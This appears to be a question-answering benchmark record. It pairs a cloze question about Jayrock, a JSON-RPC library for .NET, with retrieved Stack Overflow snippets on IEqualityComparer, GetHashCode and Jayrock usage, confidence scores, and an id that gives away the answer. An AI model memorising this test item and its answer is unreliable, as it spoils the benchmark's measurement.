retracted the close vote but I will keep the comment so that other visitors do notice . One thing kindly do accept answers . I think the top voted answer answers your question . .. . Answer : I m not much sure what useful it really is as I think for most cases in the Base Library expecting an IComparer there s an overload that expects a Comparison.. . but just for the record : .. . .. . in .Net 4.5 they ve added a method to obtain an IComparer from a Comparison : Comparer.Create http : msdn.microsoft.com en-us library hh737198 28VS.110 29.aspx .. . .. . so you can pass your lambda to it and obtain an IComparer . Comment : It would be relatively simple to add an Extension Method to .NET 4 which accomplishes the same thing . Comment : Is there something similar available for EqualityComparer It doesn t have a Create method but it seems very strange to add this useful method for Comparer and not EqualityComparer Comment : @rdans EqualityComparer uses different signature and also uses GetHashCode method . So you can t easily create comparer for this .", "Question : I have a L2E query that returns some data that contains duplicate objects . I need to remove those duplicate objects . Basically I should assume that if their IDs are the same then the objects are duplicate . I ve tried q.Distinct but that still returned duplicate objects . Then I ve tried implementing my own IEqualityComparer and passing it to the Distinct method . The method failed with following text : .. . .. . LINQ to Entities does not recognize the method System.Linq.IQueryable 1 DAL.MyDOClass Distinct MyDOClass System.Linq.IQueryable 1 DAL.MyDOClass System.Collections.Generic.IEqualityComparer 1 DAL.MyDOClass method and this method cannot be translated into a store expression . And here is the implementation of EqualityComparer : .. . .. . So how do I write my own IEqualityComparer properly .. . Answer : rich.okelly and Ladislav Mrnka are both correct in different ways . Both their answers deal with the fact that the IEqualityComparer T s methods won t be translated to SQL . I think it s worth looking at the pros and cons of each which will take a bit more than a comment . rich s approach re-writes the query to a different query with the same ultimate result . Their code should result in more or less how you would efficiently do this with hand-coded SQL . Ladislav s pulls it out of the database at the point before the distinct and then an in-memory approach will work . Since the database is great at doing the sort of grouping and filtering rich s depends upon it will likely be the most performant in this case . You could though find that the complexity of what s going on prior to this grouping is such that Linq-to-entities doesn t nicely generate a single query but rather produces a bunch of queries and then does some of the work in-memory which could be pretty nasty . Generally grouping is more expensive than distinct on in-memory cases especially if you bring it into memory with AsList rather than AsEnumerable . So if either you were already going to bring it into memory at this stage due to some other requirement it would be more performant . It would also be the only choice if your equality definition was something that didn t relate well to what is available just in the database and of course it allows you to switch equality definitions if you wanted to do so based on an IEqualityComparer T passed as a parameter . In all rich s is the answer I d say would be most-likely to be the best choice here but the different pros and cons to Ladislav s compared to rich s makes it also well worth studying and considering .", "Question : I m generating 64 bit hashcodes from strings and storing this value in a database .. . .. . Is it possible to override GetHashCode with a 64 bit long type instead of 32 byte int If this is not possible is it possible to implement Equals and GetHashCode somewhere else and still use Except and Intersect Comment : It is dubious to use hashes for equality due to hash collisions . Comment : It is for 32-bit hash integers.. . collisions start to occur after 100 000 records . However the 64 bit hashes guarantees a very very low collision rate . Comment : 64 bit hashes guarantees a very very low collision rate : yes they do . But not equality . Which is what a correct implementation of IEqualityComparer T or Equals needs . Comment : Please explain what Intersect and Except you re talking about here and what they have to do with your question . The only implementations of those operations in .NET will work equally well whether your hash codes are 32-bit or 64-bit as they don t use the hash code to determine actual equality . Comment : That make sense . However for my purposes a 64 int will be unique enough that I can live with a collision every few trillion records or so . Is it possible to override the GetHashCode to return a 64 bit integer .. . Answer : Assuming that you do not care about the possible problems arising from different records having equal hash codes and thus being considered equal even though they are different you can simply implement RecordComparer like this : .. . .. . IEqualityComparer T is correctly implemented by returning a 32-bit hash code created by truncating the 64 bit hash code identifying the record . There is no requirement that GetHashCode should return unique hash codes for unequal records . However avoiding collisions will make generic-collections like Dictionary Record perform better and basing the 32-bit hash code on the 64 bit hash code is probably the best thing to do . If you look at the source code for Enumerable.Except and Enumerable.Intersect you can see that they use the internal class Set T which is some sort of hash table so your implementation of GetHashCode can affect the performance of your code but not the correctness as long as equal records return the same hash code . Comment : It seems to me the 64 bit value would be converted to a 32-bit before being sent back which wouldn t really help in my case of intersecting two lists of 64 bit ints for differences . But I ve never used unchecked so my thinking might be incorrect Comment : @user1691808 : unchecked is just to avoid any exceptions in case you are compiling your code with checked turned on the default is turned off . The cast basically truncates the 64 bit value to 32-bit and you do not want an OverflowException when doing that .", "Question : I happened to have seen some code where this guy passed a lambda expression to a ArrayList.Sort IComparer here or a IEnumerable.SequenceEqual IEnumerable list IEqualityComparer here where an IComparer or an IEqualityComparer was expected . I can t be sure if I saw it though or I am just dreaming . And I can t seem to find an extension on any of these collections that accepts a Func or a delegate in their method signatures . Is there such an overload extension method Or if not is it possible to muck around like this and pass an algorithm read delegate where a single-method interface is expected Update Thanks everyone . That s what I thought . I must ve been dreaming . I know how to write a conversion . I just wasn t sure if I d seen something like that or just thought I d seen it . Yet another update Look here I found one such instance . I wasn t dreaming after all . Look at what this guy is doing here http : www.revindex.com TabId 65 EntryID 23 . What gives And here s another update : Ok I get it . The guy s using the Comparison T overload . Nice . Nice but totally prone to mislead you . Nice though . Thanks . Comment : possible duplicate of Wrap a delegate in an IEqualityComparer http : stackoverflow.com questions 98033 wrap-a-delegate-in-an-iequalitycomparer Comment : @nawfal : That is a different question . They are somewhat related but still different . That s a very nice question though . Thanks for sharing . I found it very interesting . : - Comment : Oh yes I see now but very close : P I retracted the close vote but I will keep the comment so that other visitors do notice . One thing kindly do accept answers . I think the top voted answer answers your question . .. . Answer : These methods don t have overloads that accept a delegate instead of an interface but : .. . .. . You can normally return a simpler sort key through the delegate you pass to Enumerable.OrderBy .. . Likewise you could call Enumerable.Select before calling Enumerable.SequenceEqual .. . It should be straightforward to write a wrapper that implements IEqualityComparer T in terms of Func T T bool .. . F lets you implement this sort of interface in terms of a lambda :", "Question : I m trying to understand the role of the GetHashCode method of the interface IEqualityComparer . The following example is taken from MSDN : .. . .. . Shouldn t the Equals method implementation be enough to compare two Box objects That is where we tell the framework the rule used to compare the objects . Why is the GetHashCode needed Thanks . Lucian Comment : Take a read : en.wikipedia.org wiki Hash table http : en.wikipedia.org wiki Hash table then see if you better understand the purpose of GetHashCode . Comment : See this great answer : stackoverflow.com a 3719802 136967 http : stackoverflow.com a 3719802 136967 .. . Answer : While it would be possible for a Dictionary TKey TValue to have its GetValue and similar methods call Equals on every single stored key to see whether it matches the one being sought that would be very slow . Instead like many hash-based collections it relies upon GetHashCode to quickly exclude most non-matching values from consideration . If calling GetHashCode on an item being sought yields 42 and a collection has 53 917 items but calling GetHashCode on 53 914 of the items yielded a value other than 42 then only 3 items will have to be compared to the ones being sought . The other 53 914 may safely be ignored . The reason a GetHashCode is included in an IEqualityComparer T is to allow for the possibility that a dictionary s consumer might want to regard as equal objects that would normally not regard each other as equal . The most common example would be a caller that wants to use strings as keys but use case-insensitive comparisons . In order to make that work efficiently the dictionary will need to have some form of hash-function that will yield the same value for Fox and FOX but hopefully yield something else for box or zebra . Since the GetHashCode method built into String doesn t work that way the dictionary will need to get such a method from somewhere else and IEqualityComparer T is the most logical place since the need for such a hash code would be very strongly associated with an Equals method that considers Fox and FOX identical to each other but not to box or zebra .", "Question : I have this .. . .. . I would like to do this if it where allowed .. . .. . I tried using the generic LambdaComparer http : csharpfeeds.com post 10941 LINQ 5FYour 5FCollections 5Fwith 5FIEqualityComparer 5Fand 5FLambda 5FExpressions.aspx but since im using anonymous-types there is no type associate it with . Help me Obi Wan Kenobi you re my only hope Comment : Great question I was just looking for the same thing . Unbelievable it s not in the standard-library . .. . Answer : Most of the time when you compare for equality or sorting you re interested in choosing the keys to compare by not the equality or comparison method itself this is the idea behind Python s list sort API . There s an example key equality comparer here http : stackoverflow.com questions 98033 wrap-a-delegate-in-an-iequalitycomparer 1239337 1239337 .", "Question : I m trying to understand the role of the GetHashCode method of the interface IEqualityComparer . The following example is taken from MSDN : .. . .. . Shouldn t the Equals method implementation be enough to compare two Box objects That is where we tell the framework the rule used to compare the objects . Why is the GetHashCode needed Thanks . Lucian Comment : Take a read : en.wikipedia.org wiki Hash table http : en.wikipedia.org wiki Hash table then see if you better understand the purpose of GetHashCode . Comment : See this great answer : stackoverflow.com a 3719802 136967 http : stackoverflow.com a 3719802 136967 .. . Answer : GetHashCode is used in Dictionary colections and it creates hash for storing objects in it . Here is a nice article why and how to use IEqualtyComparer and GetHashCode http : dotnetperls.com iequalitycomparer Comment : More : If you need to compare Equals would be enouf but when you need to get element from Dictionary it s easier to do this by hash not by using Equals .", "Question : I have a L2E query that returns some data that contains duplicate objects . I need to remove those duplicate objects . Basically I should assume that if their IDs are the same then the objects are duplicate . I ve tried q.Distinct but that still returned duplicate objects . Then I ve tried implementing my own IEqualityComparer and passing it to the Distinct method . The method failed with following text : .. . .. . LINQ to Entities does not recognize the method System.Linq.IQueryable 1 DAL.MyDOClass Distinct MyDOClass System.Linq.IQueryable 1 DAL.MyDOClass System.Collections.Generic.IEqualityComparer 1 DAL.MyDOClass method and this method cannot be translated into a store expression . And here is the implementation of EqualityComparer : .. . .. . So how do I write my own IEqualityComparer properly .. . Answer : GroupBy may be better solution than Distinct - like here in top rated answer : How to remove duplicates from collection using IEqualityComparer LinQ Distinct http : stackoverflow.com questions 16983618 how-to-remove-duplicates-from-collection-using-iequalitycomparer-linq-distinct", "Question : I happened to have seen some code where this guy passed a lambda expression to a ArrayList.Sort IComparer here or a IEnumerable.SequenceEqual IEnumerable list IEqualityComparer here where an IComparer or an IEqualityComparer was expected . I can t be sure if I saw it though or I am just dreaming . And I can t seem to find an extension on any of these collections that accepts a Func or a delegate in their method signatures . Is there such an overload extension method Or if not is it possible to muck around like this and pass an algorithm read delegate where a single-method interface is expected Update Thanks everyone . That s what I thought . I must ve been dreaming . I know how to write a conversion . I just wasn t sure if I d seen something like that or just thought I d seen it . Yet another update Look here I found one such instance . I wasn t dreaming after all . Look at what this guy is doing here http : www.revindex.com TabId 65 EntryID 23 . What gives And here s another update : Ok I get it . The guy s using the Comparison T overload . Nice . Nice but totally prone to mislead you . Nice though . Thanks . Comment : possible duplicate of Wrap a delegate in an IEqualityComparer http : stackoverflow.com questions 98033 wrap-a-delegate-in-an-iequalitycomparer Comment : @nawfal : That is a different question . They are somewhat related but still different . That s a very nice question though . Thanks for sharing . I found it very interesting . : - Comment : Oh yes I see now but very close : P I retracted the close vote but I will keep the comment so that other visitors do notice . One thing kindly do accept answers . I think the top voted answer answers your question . .. . Answer : I was also googling the web for a solution but i didn t found any satisfying one . So i ve created a generic EqualityComparerFactory : .. . .. . The idea is that the CreateComparer method takes two arguments : a delegate to GetHashCode T and a delegate to Equals T T .. . .. . Example :", "Question : I happened to have seen some code where this guy passed a lambda expression to a ArrayList.Sort IComparer here or a IEnumerable.SequenceEqual IEnumerable list IEqualityComparer here where an IComparer or an IEqualityComparer was expected . I can t be sure if I saw it though or I am just dreaming . And I can t seem to find an extension on any of these collections that accepts a Func or a delegate in their method signatures . Is there such an overload extension method Or if not is it possible to muck around like this and pass an algorithm read delegate where a single-method interface is expected Update Thanks everyone . That s what I thought . I must ve been dreaming . I know how to write a conversion . I just wasn t sure if I d seen something like that or just thought I d seen it . Yet another update Look here I found one such instance . I wasn t dreaming after all . Look at what this guy is doing here http : www.revindex.com TabId 65 EntryID 23 . What gives And here s another update : Ok I get it . The guy s using the Comparison T overload . Nice . Nice but totally prone to mislead you . Nice though . Thanks . Comment : possible duplicate of Wrap a delegate in an IEqualityComparer http : stackoverflow.com questions 98033 wrap-a-delegate-in-an-iequalitycomparer Comment : @nawfal : That is a different question . They are somewhat related but still different . That s a very nice question though . Thanks for sharing . I found it very interesting . : - Comment : Oh yes I see now but very close : P I retracted the close vote but I will keep the comment so that other visitors do notice . One thing kindly do accept answers . I think the top voted answer answers your question . .. . Answer : I vote for the dreaming theory . You can t pass a function where an object is expected : derivatives of System.Delegate which is what lambdas are don t implement those interfaces . What you probably saw is a use of the of the Converter TInput TOutput http : msdn.microsoft.com en-us library kt456a2y.aspx delegate which can be modeled by a lambda . Array.ConvertAll http : msdn.microsoft.com en-us library exc45z53.aspx uses an instance of this delegate .", "Question : I happened to have seen some code where this guy passed a lambda expression to a ArrayList.Sort IComparer here or a IEnumerable.SequenceEqual IEnumerable list IEqualityComparer here where an IComparer or an IEqualityComparer was expected . I can t be sure if I saw it though or I am just dreaming . And I can t seem to find an extension on any of these collections that accepts a Func or a delegate in their method signatures . Is there such an overload extension method Or if not is it possible to muck around like this and pass an algorithm read delegate where a single-method interface is expected Update Thanks everyone . That s what I thought . I must ve been dreaming . I know how to write a conversion . I just wasn t sure if I d seen something like that or just thought I d seen it . Yet another update Look here I found one such instance . I wasn t dreaming after all . Look at what this guy is doing here http : www.revindex.com TabId 65 EntryID 23 . What gives And here s another update : Ok I get it . The guy s using the Comparison T overload . Nice . Nice but totally prone to mislead you . Nice though . Thanks . Comment : possible duplicate of Wrap a delegate in an IEqualityComparer http : stackoverflow.com questions 98033 wrap-a-delegate-in-an-iequalitycomparer Comment : @nawfal : That is a different question . They are somewhat related but still different . That s a very nice question though . Thanks for sharing . I found it very interesting . : - Comment : Oh yes I see now but very close : P I retracted the close vote but I will keep the comment so that other visitors do notice . One thing kindly do accept answers . I think the top voted answer answers your question . .. . Answer : You can t pass it directly however you could do so by defining a LambdaComparer class that excepts a Func T T int and then uses that in it s CompareTo . It is not quite as concise but you could make it shorter through some creative extension-methods on Func ." ] }
[ "yes-answer-long", "yes-answer-short" ]
interface
UNK_RELATION
jayrock@.net@76
jayrock -- jayrock is a json and json-rpc implementation for the microsoft @placeholder framework .
{ "confidence": [ 66.159423828125, 58.30134201049805, 57.01475143432617, 54.72614288330078, 52.52409744262695, 50.798091888427734, 48.16756057739258, 47.920379638671875, 45.024192810058594, 44.96502685546875, 44.96502685546875, 43.758094787597656, 43.758094787597656, 43.55128479003906, 43.55128479003906, 43.48807907104492, 42.31898498535156, 42.28114700317383, 41.905784606933594, 41.75555419921875, 41.71765899658203, 40.842037200927734, 40.512367248535156, 39.967071533203125, 38.734771728515625, 38.734771728515625, 37.25782775878906, 35.13916015625, 35.13916015625, 35.13916015625, 35.13916015625, 35.13916015625, 33.9068603515625, 33.48225784301758, 33.20867919921875, 32.42991256713867, 32.42991256713867, 32.42991256713867, 30.952072143554688, 30.697385787963867, 30.63058853149414, 29.475126266479492, 29.263137817382812, 29.190217971801758, 28.87490463256836, 28.151226043701172, 27.64260482788086, 27.425498962402344, 26.87343406677246, 26.411174774169922, 26.411174774169922, 26.293689727783203, 26.293689727783203, 26.165658950805664, 25.661209106445312, 25.650135040283203, 25.635635375976562, 25.06138801574707, 24.93423080444336, 24.428909301757812, 24.428909301757812, 24.311594009399414, 24.049524307250977, 24.049524307250977, 23.906513214111328, 23.713077545166016, 22.889820098876953, 22.889820098876953, 22.889820098876953, 22.889820098876953, 22.889820098876953, 22.56029510498047, 22.493894577026367, 22.23613166809082, 22.07569694519043, 22.048974990844727, 22.048974990844727, 22.048974990844727, 22.048974990844727, 22.048974990844727, 21.412872314453125, 21.412872314453125, 20.816673278808594, 20.816673278808594, 20.816673278808594, 20.816673278808594, 20.816673278808594, 20.816673278808594, 20.816673278808594, 20.816673278808594, 20.780166625976562, 20.780166625976562, 20.701189041137695, 19.680347442626953, 19.54786491394043, 19.33972930908203, 19.33972930908203, 18.607257843017578, 18.126752853393555, 18.126752853393555 ], "content": [ "jqGrid is quite happy with this JSON string : .. . .. . Jayrock .NET JSON-RPC framework supplies the JSON string as : .. . .. . I.e .", "I have a Jayrock JSON-RPC web service that generally works fine .", "But Jayrock also adds the d attribute to the JSON .", "I have been using the JayRock framework with ASP.NET to return JSON being consume via javascript .", "I m trying to figure out what I m doing wrong with a simple Jayrock JSON-RPC service .", "Jayrock issue", "But I wan to convert with jayrock .", "Right now we don t support this . from here : java2s.com Open-Source CSharp Development Jayrock Jayrock http : www.java2s.com Open-Source CSharp Development Jayrock Jayrock JsonRpc JsonRpcDispatcher.cs.htm", "Are you asking about an alternate way to do this using Jayrock or an alternative to Jayrock entirely", "Does Jayrock know the type of the object", "Does anyone have experience with JayRock", "We are currently looking at JayRock http : jayrock.berlios.de to handle our client-to-server service methods invoking with JSON data .", "Seems like a parsing problem from Jayrock http : jayrock.googlecode.com hg src Jayrock.Json Json JsonTextReader.cs", "So Jayrock does not play nice with WebMethod .", "Using jayrock what is the easity way to get to the data .", "Hi quick question about Jayrock.. .", "EDIT : Yes jayrock knows the type of the object .", "For Jayrock JSON it was suggested to me that it can be done this way : forums.asp.net t 1430017.aspx http : forums.asp.net t 1430017.aspx", "stackTrace : at Jayrock.Json.JsonReader.ReadToken JsonTokenClass token in c : Projects Public Jayrock rel rel-0.9.8316 src Jayrock.Json Json JsonReader.cs : line 142 r n at Jayrock.JsonRpc.JsonRpcDispatcher.ParseRequest TextReader input in c : Projects Public Jayrock rel rel-0.9.8316 src Jayrock JsonRpc JsonRpcDispatcher.cs : line 271 r n at Jayrock.JsonRpc.JsonRpcDispatcher.Process TextReader input TextWriter output in c : Projects Public Jayrock rel rel-0.9.8316 src Jayrock JsonRpc JsonRpcDispatcher.cs : line 127 errors : name : JsonException message : Found String where Object was expected .", "Why does Jayrock have to be used", "I guess for the .NET implementation of Json and JSON-RPC. .", "Perhaps a way to configure Jayrock to accept this request", "If that s true then you need to modify your code to start and end a JSON array around the outer read loop as follows : .. . .. . Jayrock will automatically delimit each JSON object value with a comma when inside a JSON array so now the output should resemble the following and valid JSON :", "So I found a JSON.Net Object called Jayrock http : jayrock.berlios.de .", "Should we switch from JayRock once we upgrade", "I have seen older posts that say Jayrock is the way to go .", "Anyone have a clue why Jayrock doesn t like the following request", "I am using Jayrock http : jayrock.berlios.de to form a web service in .NET for my iOS app and I m following this tutorial .", "I don t guess I understand I m using Jayrock I assume it handles the difference for me", "The SOAP service insterface is working so I m just implementing a service instance in my Jayrock handler and calling the corresponding methods .", "I have tried a fair few things with no success trying to use WebClient along with JayRock .. . any help appreciated .", "Hi yes I am using Jayrock already really I am looking how to implement it .. .", "I am having a problem with JayRock where I am intermittently receiving Missing Value errors .", "Note that while ProtoRPC communicates via JSON it is not a JSON-RPC http : json-rpc.org wiki specification service .", "I don t know Jayrock but if you want to accept a JSON object as a parameter of Action in MVC2 than the easiest way to do it is by using JsonValueProviderFactory http : haacked.com archive 2010 04 15 sending-json-to-an-asp-net-mvc-action-method-argument.aspx from Futures assembly .", "All that is needed for the following example is .NET Jayrock http : jayrock.berlios.de jQuery http : jquery.com and jqGrid http : www.trirand.com blog .", "This is a side-effect of the way JayRock handles SMD responses...the id is a response identifier and is an aid for asynchronous communications .", "However when I try to post to my jqGrid editUrl Jayrock throws an error .", "One of the very nice things about JayRock is the dynamically generated client-side proxy js to instantiate and call the server-side methods .", "I am aware that Jayrock has to be used but I would like some examples .", "This : .. . .. . is the invalid JSON .", "I have found Jayrock http : jayrock.berlios.de lib which seems to do the job unfortunately I can t find how to make it work .", "The problem is that you are writing multiple JSON objects whereas what you are probably trying to do is produce a JSON array of JSON objects .", "Assuming json is the variable containing JSON text use Jayrock.Json.Conversion.JsonConvert.Import json .", "Unfortunately and although I had no issues with my test project when I do that with the actual application none of the Jayrock web methods that I marked as JsonRpcMethod are exported .", "You can a string to see if it s valid JSON at JSON Lint http : jsonlint.com .", "i solved this by creating my own type no jayrock .. . .. . my tree model and store : .. . .. . my class : .. . .. . then i get my data and fill my tree like this .. . .. . hope it helps someone", "But note that an API provider can specify a JSON string the API generates to be anything that s legal JSON and SomeExpectedString : is legal JSON .", "By using a JSON-RPC client you are most likely sending messages in the wrong format .", "In JSON indicates an empty array .", "I ve chosen to use JSON .", "All I had to do was use jQuery.parseJSON and it converted the JSON string into a JSON Object .", "I created a new var and used jQuery.parseJSON msg.d and it converted the JSON string to a JSON object .", "So if you fire off a bunch of async requests and don t wait around for the response you can specify the request ID and JayRock will honor that...so you can line up the responses with the requests .", "I want to convert a Json string to an Object in C .", "The outputted JSON looks like this : though I added the line-breaks manually .. . .. . I m not really sure what I m doing wrong but on my page reading this JSON when I try to do .evalJSON using prototypejs I get errors saying that the JSON is malformed .", "http : stackoverflow.com questions 986361 good-net-libraries-for-working-with-json-data .. . .. . We are currently writing our ASP.NET pages using c and .NET 2.0 framework and we are about 4 months out from upgrading to .NET 3.5 framework .", "If you know it is going to be a JSON object for sure then you can safely cast the return-value or use JsonConvert.Import JsonObject json .", "This works with the above JSON .", "It s what I did for a JSON parser for Qt .", "Here s the link : http : james.newtonking.com projects json-net.aspx", "im trying to build a treepanel or just a simple tree i just need it to work and load it with data from database .. . .. . here is my code to build the tree .. . .. . im using jayrock : http : code.google.com p jayrock .. . .. . Interact.ashx.cs : .. . .. . public class Interact : JsonRpcHandler .. . .. . clsDBInteract.cs : .. . .. . I dont have any error but the panel is empty i tested and i can read the data in the readtree function..so i guess the problem would be in the store maybe or the loading .. . .. . its been more than two weeks that im trying to pull this off any help would be appreciated .. . .. . P.S : im using ExtJs4 with c .net .. . .. . thanks", "Instead the API returns back in-place of a single value not something that would be an array if the value doesn t exist : .. . .. . When I try to deserialize this using JayRock JsonConvert it fails since i m trying to load into single String or DateTime values .", "Normally it would look like this : .. . .. . urlfield .. . .. . RequestBody id : 1 method : getAllAirports params : .. . .. . cookies .. . .. . But in cases where it hasn t worked the request contains : .. . .. . urlfield .. . .. . cookies .. . .. . I am using the default JayRock proxy and by using the test page the requests are always working .", "I am trying to return a JSON object from an aspx page using Jayrock.JSON .", "What you will get back in return is either a JsonObject JsonArray JsonNumber System.String System.Boolean or a null reference depending on the root JSON value in the source JSON text .", "Exception - Cannot import AreaField from a JSON Array value .", "Possible Duplicate : .. . Good .NET libraries for working with JSON data", "@JesseP the JSON specification allows ANY value for ANY key .", "In the phone app I serialize objects into GSON JSON strings .", "Now on the server I need to convert the gson json strings back into objects .", "You havent given a url for the store to get the data from .. . .. . I would recommend looking at the response in firebug to see if the data structure being returned is valid JSON .. . .. . EDIT This is how I would build the create the Tree assuming the JSON is valid for a tree not just valid JSON", "https : trac.transmissionbt.com browser trunk extras rpc-spec.txt", "Because you send application x-www-form-urlencoded request with form-like post data instead of application json with correct json object .", "that is in JSON format and I was wondering if there is a good quick and easy way to convert a JSON string to a Jayrocks JsonObject so I can easily extract key-value pairs without the need to manually parse the string", "My code is : .. . .. . And as for my JSON it looks like : .. . .. . What do you think about what is wrong", "Here is the revised function : .. . .. . The only problem is when it returns the JSON the page can t parse it .", "I am attempting to parse some json I am getting back from a service .", "Basically I m writing a JSON proxy for a .NET WCF web service so that iPhones can use it .", "I understand that they introduced JsonMemberNameAttribute that may take care of this issue but I was wondering if there s an alternate json serializer .", "it adds a id : -1 result : .. . snip .. . wrapper around the working JSON .", "it adds a id : -1 result : .. . snip .. . wrapper around the working JSON .", "Also since we are upgrading to .NET 3.5 by the end of the year and .NET 3.5 has JSON serialization capabilities .", "You should just pretend the JSON object you get back is a dictionary either IDictionary or IDictionary string object .", "Note that the proper value for null in a JSON string is the characters null without any quotes .", "Like : .. . .. . Although in terms of how you want to represent a null value in your JSON that is entirely up to you .", "While what they re sending is technically still valid JSON it s semantically questionable for them to be using instead of null .", "It is certainly different from anything I ve seen before since json has an actual null keyword but it is perfecly legal syntax .", "It s legal JSON and the API provider can define his API any way he wants .", "You can complain to the API guys but they have the last say -- the JSON spec does not specify what things MEAN .", "Here is the updated code : .. . .. . Ok I ve written a function to query a table and return a dataset then convert it to JSON so the page can use it .", "I know it s because of the function returning as a String but for the life of me I can t figure out how to return a JSON Object using the revised code .", "With the latest version for .NET Framework 4 you can also work with a JsonObject as a dynamic object .", "You can then use json serializer to parse the data in C", "I have the following class structure .. . .. . When I export to Json using Jayrock.Json.Conversion.JsonConvert.ExportToString List AreaField obj everything works fine .", "Is there anyway to point the jsonReader property of jqGrid to the correct place to start parsing the JSON result", "Hi I never actually got it working with JSON so swtiched to using XML .", "Given your code snippet I m assuming rdr holds some IDataReader implementation like SqlDataReader .", "If you can install the ASP.NET AJAX Extensions http : www.microsoft.com downloads details.aspx FamilyID ca9d90fa-e8c9-42e3-aa19-08e2c027f5d6 displaylang en with 2.0 it has the same JSON serialization functionality that 3.5 has built-in .", "I am trying to consume a 3rd party JSON API and was expected that a null value would have no value at all provided left out of the result or some default ." ] }
{ "confidence": [ 71.5606460571289, 69.06140899658203, 66.44747924804688, 66.27056121826172, 66.1934814453125, 66.0155029296875, 63.793338775634766, 62.60068893432617, 58.809749603271484, 57.84598922729492, 56.129756927490234, 54.980533599853516, 54.86960983276367, 54.803985595703125, 54.142112731933594, 53.129241943359375, 52.2956428527832, 52.2956428527832, 51.300880432128906, 51.300880432128906 ], "content": [ "Question : I wondered if someone might have some insight into this . jqGrid is quite happy with this JSON string : .. . .. . Jayrock .NET JSON-RPC framework supplies the JSON string as : .. . .. . I.e . it adds a id : -1 result : .. . snip .. . wrapper around the working JSON . Is there anyway to point the jsonReader property of jqGrid to the correct place to start parsing the JSON result I m having a heck of a time with all of this : .. . .. . --- edit --- .. . .. . I wanted to post a quick example.. . thanks for your answer Stuntz . All that is needed for the following example is .NET Jayrock http : jayrock.berlios.de jQuery http : jquery.com and jqGrid http : www.trirand.com blog . This works with the above JSON . I forget whether or not you need to set the content-type . Comment : Hi Would it be possible for you to share the solution file I ve been trying for days without success using Jaryrock and Jqgrid . Comment : Hi I never actually got it working with JSON so swtiched to using XML . If you re interested in that I could put something online . For Jayrock JSON it was suggested to me that it can be done this way : forums.asp.net t 1430017.aspx http : forums.asp.net t 1430017.aspx .. . Answer : I.e . it adds a id : -1 result : .. . snip .. . wrapper around the working JSON . This is a side-effect of the way JayRock handles SMD responses...the id is a response identifier and is an aid for asynchronous communications . So if you fire off a bunch of async requests and don t wait around for the response you can specify the request ID and JayRock will honor that...so you can line up the responses with the requests . I hope that makes a little sense .", "Question : I m trying to figure out what I m doing wrong with a simple Jayrock JSON-RPC service . Basically I m writing a JSON proxy for a .NET WCF web service so that iPhones can use it . The SOAP service insterface is working so I m just implementing a service instance in my Jayrock handler and calling the corresponding methods . Unfortunately and although I had no issues with my test project when I do that with the actual application none of the Jayrock web methods that I marked as JsonRpcMethod are exported . All I see is the 3 default methods . I disconnected all the other methods in case there was some interference and I m still not seeing anything . Any suggestion as to what I could be doing wrong Here is my generic handler code : .. . .. . And here is the page : .. . .. . Finally calling the method list method returns : .. . Answer : The class attribute should be used :", "Question : I wondered if someone might have some insight into this . jqGrid is quite happy with this JSON string : .. . .. . Jayrock .NET JSON-RPC framework supplies the JSON string as : .. . .. . I.e . it adds a id : -1 result : .. . snip .. . wrapper around the working JSON . Is there anyway to point the jsonReader property of jqGrid to the correct place to start parsing the JSON result I m having a heck of a time with all of this : .. . .. . --- edit --- .. . .. . I wanted to post a quick example.. . thanks for your answer Stuntz . All that is needed for the following example is .NET Jayrock http : jayrock.berlios.de jQuery http : jquery.com and jqGrid http : www.trirand.com blog . This works with the above JSON . I forget whether or not you need to set the content-type . Comment : Hi Would it be possible for you to share the solution file I ve been trying for days without success using Jaryrock and Jqgrid . Comment : Hi I never actually got it working with JSON so swtiched to using XML . If you re interested in that I could put something online . For Jayrock JSON it was suggested to me that it can be done this way : forums.asp.net t 1430017.aspx http : forums.asp.net t 1430017.aspx .. . Answer : This post and links have been really helpful . I don t have a clear understanding on how this works yet but I thought that I would just post this to help someone ease their pain : .. . .. . This is the return JSON from getRecords : .. . .. . id : -1 result : page : 1 total : 1 records : 2 rows : id : 13 invdate : 2007-10-06 name : Client 3 amount : 1000.00 tax : 0.00 total : 1000.00 note : id : 12 invdate : 2007-10-06 name : Client 2 amount : 700.00 tax : 140.00 total : 840.00 note : no tax .. . .. . And this is the working code : .. . .. . By the way does anyone know why using eval is insecure Look at the comment on my code . I grabbed that part from the forum.asp link .", "Question : Possible Duplicate : .. . Good .NET libraries for working with JSON data http : stackoverflow.com questions 986361 good-net-libraries-for-working-with-json-data .. . .. . We are currently writing our ASP.NET pages using c and .NET 2.0 framework and we are about 4 months out from upgrading to .NET 3.5 framework . Meanwhile we have a very client-side JS heavy page to push out in 2 months . We are currently looking at JayRock http : jayrock.berlios.de to handle our client-to-server service methods invoking with JSON data . One of the very nice things about JayRock is the dynamically generated client-side proxy js to instantiate and call the server-side methods . Does anyone have experience with JayRock Pros Cons Or other libraries that can help us accomplish the similar task Also since we are upgrading to .NET 3.5 by the end of the year and .NET 3.5 has JSON serialization capabilities . Should we switch from JayRock once we upgrade Thanks in advance .. . Answer : If you can install the ASP.NET AJAX Extensions http : www.microsoft.com downloads details.aspx FamilyID ca9d90fa-e8c9-42e3-aa19-08e2c027f5d6 displaylang en with 2.0 it has the same JSON serialization functionality that 3.5 has built-in . Comment : You can have a closer look at .. . msdn.microsoft.com en-us library http : msdn.microsoft.com en-us library system.web.script.serialization.javascriptserializer.aspx", "Question : I wondered if someone might have some insight into this . jqGrid is quite happy with this JSON string : .. . .. . Jayrock .NET JSON-RPC framework supplies the JSON string as : .. . .. . I.e . it adds a id : -1 result : .. . snip .. . wrapper around the working JSON . Is there anyway to point the jsonReader property of jqGrid to the correct place to start parsing the JSON result I m having a heck of a time with all of this : .. . .. . --- edit --- .. . .. . I wanted to post a quick example.. . thanks for your answer Stuntz . All that is needed for the following example is .NET Jayrock http : jayrock.berlios.de jQuery http : jquery.com and jqGrid http : www.trirand.com blog . This works with the above JSON . I forget whether or not you need to set the content-type . Comment : Hi Would it be possible for you to share the solution file I ve been trying for days without success using Jaryrock and Jqgrid . Comment : Hi I never actually got it working with JSON so swtiched to using XML . If you re interested in that I could put something online . For Jayrock JSON it was suggested to me that it can be done this way : forums.asp.net t 1430017.aspx http : forums.asp.net t 1430017.aspx .. . Answer : No you can t do this via jsonReader . Internally the grid does : .. . .. . ...which won t work for a dotted sub-property . Instead you ll need to fetch the grid data manually by setting datatype to a function . You can then fetch the data with .ajax and call grid.addJsonData when it comes back just like the grid does except that instead of passing the whole response you ll pass a sub-property of the response . Comment : you d think that would work right have you done anything similar before doesn t seem to work for me unless i am missing something.. . Comment : I do configure jsonReader but not like you do . I checked the source and I can see the problem . I ll update . 